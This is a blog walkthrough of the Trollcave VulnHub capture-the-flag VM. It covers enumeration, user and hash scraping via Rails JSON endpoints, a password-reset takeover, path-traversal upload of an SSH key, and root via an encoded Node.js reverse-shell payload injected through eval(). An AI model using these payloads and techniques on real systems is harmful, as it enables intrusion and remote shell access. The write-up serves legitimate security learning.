This post documents the complete walkthrough of Trollcave: 1.2, a boot2root VM created by David Yates, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Trollcave is a vulnerable VM, in the tradition of VulnHub and infosec wargames. You start with a virtual machine you know nothing about—no usernames, no passwords. In this instance, you see a simple community blogging website with a bunch of users. From this initial point, you determine the machine’s running services and general characteristics, and devise ways to gain complete control over it, by finding and exploiting vulnerabilities and misconfigurations.
Your first goal is to abuse the services on the machine to gain unauthorized shell access. Your ultimate goal is to read a text file in the root
user’s home directory (/root/flag.txt
).
Information Gathering
Let’s start with a nmap
scan to establish the services available in the host.
# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.128
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
| 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
|_ 256 17:4d:7b:04:44:53:d1:51:d2:93:e9:50:e0:b2:20:4c (ED25519)
80/tcp open http syn-ack ttl 64 nginx 1.10.3 (Ubuntu)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave
nmap
finds two open ports—22/tcp
and 80/tcp
. Nothing unusual here.
Trollcave Blog
This is how the site looks like in my browser.
Directory/File Enumeration
Let’s fuzz the site with wfuzz
and big.txt
from SecLists to look for directories and/or files.
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/big.txt --hc 404 -t 50 http://192.168.30.128/FUZZ
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://192.168.30.128/FUZZ
Total requests: 20469
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000576: C=200 67 L 176 W 1564 Ch "404"
000659: C=200 66 L 160 W 1477 Ch "500"
000597: C=200 67 L 171 W 1547 Ch "422"
001816: C=302 0 L 5 W 93 Ch "admin"
004982: C=302 0 L 5 W 93 Ch "comments"
007427: C=200 0 L 0 W 0 Ch "favicon.ico"
009531: C=302 0 L 5 W 93 Ch "inbox"
011054: C=200 61 L 141 W 2165 Ch "login"
015172: C=302 0 L 5 W 88 Ch "register"
015300: C=302 0 L 5 W 93 Ch "reports"
015551: C=200 5 L 33 W 202 Ch "robots.txt"
018846: C=302 0 L 5 W 93 Ch "user_files"
018906: C=302 0 L 5 W 93 Ch "users"
The ones with the HTTP response code 302
redirect to /login
. The top three with the HTTP response code 200
redirect to their respective error pages, e.g. /404
redirects to /404.html
.
Ruby on Rails
These RESTful URLs I notice during my cursory browsing of the site, look a lot like the URLs you get from a RoR web application.
# curl -s http://192.168.30.128/ | grep -Po '(href|src)=".{2,}"' | cut -d'"' -f2 | sort | uniq
/assets/640px-Troll_Warning-7609c691efcf3b8040566ae6a4ccc54c44f3cc1cb028a0eb8eebef8259fca7a6.jpg
/assets/application-152e0b6420893f14eeb6f908ca26bc60cca1bf773cbe0cb0a493fe7541d77b7a.css
/assets/application-88d4cbee7b3f8591b7ccf003c3923c922b1e3fef8487fb1f09c4fc434c1bcb3d.js
/blogs/1
/blogs/2
/blogs/4
/blogs/6
/blogs/7
/login
/register
/uploads/coderguy/ruby.png
/uploads/cooldude89/poochie.jpg
/uploads/dave/dave.png
/uploads/King/crown.png
/users/1
/users/12
/users/15
/users/16
/users/17
/users/2
/users/4
/users/5
The blog post below at /blogs/6
describes something about “… resource in rails”, which lends further credence that the site is a RoR web application. And OK, check out the Ruby avatar, isn’t that obvious enough? At least now we know what we are dealing with.
Image shows that the site is a RoR web application.
Enumerating Users
A RoR web application will, by default, produce JSON output, by appending .json
. Knowing this will help in enumeration. Here, I’m able to determine the users of the site using nothing more than curl
and a command-line JSON parser jq
.
# curl -s 192.168.30.128/users/{1..20}.json | jq -raM
{
"id": 1,
"name": "King",
"email": "[email protected]",
"password": null,
"created_at": "2017-10-23T09:39:41.494Z",
"updated_at": "2018-04-11T15:07:37.557Z"
}
...
{
"id": 17,
"name": "xer",
"email": "[email protected]",
"password": null,
"created_at": "2017-10-23T09:39:42.856Z",
"updated_at": "2018-04-11T15:07:37.743Z"
}
Enumerating Password Hashes
Using the same technique against /reports
, I’m also able to get four password digests or hashes.
# curl -s 192.168.30.128/reports/{1..20}.json | jq -jaM
{
"id": 1,
"content": "offensive comment, not even clever.",
"user": {
"id": 17,
"name": "xer",
"email": "[email protected]",
"password_hint": "fave pronoun",
"password_digest": "$2a$10$FLjo5cedRTmoBjWowcC08.WmHpvltVEmmVoN8P5j6JQW/PzU3qmTq",
"remember_digest": null,
"role": 1,
"hits": 6,
"last_seen_at": null,
"banned": null,
"created_at": "2017-10-23T09:39:42.856Z",
"updated_at": "2018-04-11T15:07:37.743Z",
"avatar_id": null,
"reset_digest": null,
"reset_sent_at": null
},
"blog": {
"id": 4,
"title": "Politics & religion thread",
"content": "\nLet's discuss our political and religious beliefs. Try to keep it civil -- I will be monitoring this thread closely and handing out warns to anyone who starts making trouble.\n\nAs for my beliefs, I am a moderate upper wing Xen Scientologist, and I believe in equal wrongs for all.\n\t\t",
"clearance": 0,
"user_id": 5,
"created_at": "2017-10-23T09:39:42.962Z",
"updated_at": "2017-10-23T09:39:42.962Z"
},
"comment_id": 2,
"created_at": "2017-10-23T09:39:42.998Z",
"updated_at": "2017-10-23T09:39:42.998Z"
}
...
The password digests or bcrypt
hashes have salt and a computational cost of 10 rounds; cracking them is a futile exercise and a waste of CPU cycles. We need a better way.
Password Reset
Recall the blog post above on password_resets
? Turns out the well-received RoR tutorial has a chapter on it, and provides a clue on how to proceed.
I’m able to navigate to the password reset page by going to /password_resets/new
.
The initial attempt to reset King’s password (Superadmin) fails because the site has configured password reset for normal members. Well, let’s reset the password of an ordinary member and see what happens.
According to the blog post, the mailer has an issue resulting in the password reset URL presenting itself like so.
Notice the username in the password reset URL? Let’s abuse it to reset the King’s password.
I’m the King (Superadmin) now.
File Manager
I look at the File manager with interest since that’s the common way of putting files under the attacker’s control into the environment—through file upload.
The first file I try to upload is some random text; I want to see if there’s any kind of filtering in place.
I encounter the first obstacle—no upload. Well, I’m the Superadmin remember? I can go to the Admin panel to enable it.
Now that I’m able to upload files, what kind of file should I upload? RoR is not PHP and there’s no point in uploading .rb
files if you know the directory structure of a RoR application.
Let’s see what happens when I upload a text file.
After the upload, I can view the file information by going to /user_files/[file_number]
or /user_files/[file_number].json
.
Now that we know the file’s absolute path, we can start to think about exploitation. At the upload page, we see that we can provide an alternative file name. Is this our ticket in?
When I gain access to Superadmin, I unlock more blog posts and there’s a particular blog post and comment that may potentially be the key information to gaining access.
Image shows user rails
is present—SSH is possible?
Image shows file upload is vulnerable.
As we look at the above information, perhaps we can make use of the file upload vulnerability to upload the RSA public key I control to /home/rails/.ssh/authorized_keys
?
First, let’s generate the RSA keypair with ssh-keygen
.
# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): trollcave
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in trollcave.
Your public key has been saved in trollcave.pub.
The key fingerprint is:
SHA256:Xumzuy4PevNYxescbaB5fWicRBa5KtspSkTJaeeUM7E [email protected]
The key's randomart image is:
+---[RSA 2048]----+
| . .. |
| . o + .. |
| * E o. |
| o + = o. |
| S + +.. |
| o o.+.B o |
| + *++.O .|
| o++o*o+ . |
| ..oBB+o |
+----[SHA256]-----+
Next, we upload trollcave.pub
to /home/rails/.ssh/authorized_keys
with a traversal technique.
Let’s verify the upload of the public key.
Low Privilege Shell
Now, let’s see if we can SSH into the rails
account.
Awesome.
Node.js
I notice an unknown service running at tcp/8888
during enumeration of rails
account.
It turns out to be Node.js running some sort of calculator application for King.
If I had to guess, I would say this is the way to gain root
privileges since King is on the sudoers
list.
It’s interesting to note that this application is using eval()
. Now, I’ve no doubt that eval()
is our golden ticket.
According to MDN’s description of eval()
,
The argument of the
eval()
function is a string. If the string represents an expression,eval()
evaluates the expression. If the argument represents one or more JavaScript statements,eval()
evaluates the statements. Do not calleval()
to evaluate an arithmetic expression; JavaScript evaluates arithmetic expressions automatically.
Good thing msfvenom
is able to generate a reverse shell payload for Node.js, but notice toString()
after eval()
? We need to make sure eval()
returns a string so that toString()
has something to do.
# msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.30.128 LPORT=44444 -o rev.js
# echo '1+1;' >> rev.js <-- this is to make sure toString() has something to do ;)
We also need to ensure that our payload is a string for eval()
. To do that, we can encode our payload into ordinal numbers and piece them back together with String.fromCharCode()
.
The following Python code does that.
#!/usr/bin/env python
f = open('rev.js', 'r')
encoded = ''
for c in f.read():
encoded = encoded + ',' + str(ord(c))
print 'eval(String.fromCharCode(%s))' % encoded[1:]
All that’s left to do is to forward our local port tcp/9999
to the remote port tcp/8888
so that I can access it from my browser.
# ssh -L9999:localhost:8888 -i /root/keys/trollcave [email protected]168.30.130 -f -N
The final exploit URL looks like this.
http://localhost:9999/calc?sum=eval(String.fromCharCode(32,40,102,117,110,99,116,105,111,110,40,41,123,32,118,97,114,32,114,101,113,117,105,114,101,32,61,32,103,108,111,98,97,108,46,114,101,113,117,105,114,101,32,124,124,32,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,99,111,110,115,116,114,117,99,116,111,114,46,95,108,111,97,100,59,32,105,102,32,40,33,114,101,113,117,105,114,101,41,32,114,101,116,117,114,110,59,32,118,97,114,32,99,109,100,32,61,32,40,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,112,108,97,116,102,111,114,109,46,109,97,116,99,104,40,47,94,119,105,110,47,105,41,41,32,63,32,34,99,109,100,34,32,58,32,34,47,98,105,110,47,115,104,34,59,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,34,110,101,116,34,41,44,32,99,112,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,44,32,117,116,105,108,32,61,32,114,101,113,117,105,114,101,40,34,117,116,105,108,34,41,44,32,115,104,32,61,32,99,112,46,115,112,97,119,110,40,99,109,100,44,32,91,93,41,59,32,118,97,114,32,99,108,105,101,110,116,32,61,32,116,104,105,115,59,32,118,97,114,32,99,111,117,110,116,101,114,61,48,59,32,102,117,110,99,116,105,111,110,32,83,116,97,103,101,114,82,101,112,101,97,116,40,41,123,32,99,108,105,101,110,116,46,115,111,99,107,101,116,32,61,32,110,101,116,46,99,111,110,110,101,99,116,40,52,52,52,52,52,44,32,34,49,57,50,46,49,54,56,46,51,48,46,49,50,56,34,44,32,102,117,110,99,116,105,111,110,40,41,32,123,32,99,108,105,101,110,116,46,115,111,99,107,101,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,32,105,102,32,40,116,121,112,101,111,102,32,117,116,105,108,46,112,117,109,112,32,61,61,61,32,34,117,110,100,101,102,105,110,101,100,34,41,32,123,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,125,32,101,108,115,101,32,123,32,117,116,105,108,46,112,117,109,112,40,115,104,46,115,116,100,111,117,116,44,32,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,117,116,105,108,46,112,117,109,112,40,115,104,46,115,116,100,101,114,114,44,32,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,125,32,125,41,59,32,115,111,99,107,101,116,46,111,110,40,34,101,114,114,111,114,34,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,41,32,123,32,99,111,117,110,116,101,114,43,43,59,32,105,102,40,99,111,117,110,116,101,114,60,61,32,49,48,41,123,32,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,32,123,32,83,116,97,103,101,114,82,101,112,101,97,116,40,41,59,125,44,32,53,42,49,48,48,48,41,59,32,125,32,101,108,115,101,32,112,114,111,99,101,115,115,46,101,120,105,116,40,41,59,32,125,41,59,32,125,32,83,116,97,103,101,114,82,101,112,101,97,116,40,41,59,32,125,41,40,41,59,49,43,49,59,10))`
A shell returns on my netcat
listener and I can sudo
as root
.
Afterthought
This is the perfect opportunity to explore Ruby on Rails and Node.js. I’ve heard positive reviews from the webdev community but never got the chance to go deeper until now; not that I’m using them professionally though.
I rate this VM highly educational and fun.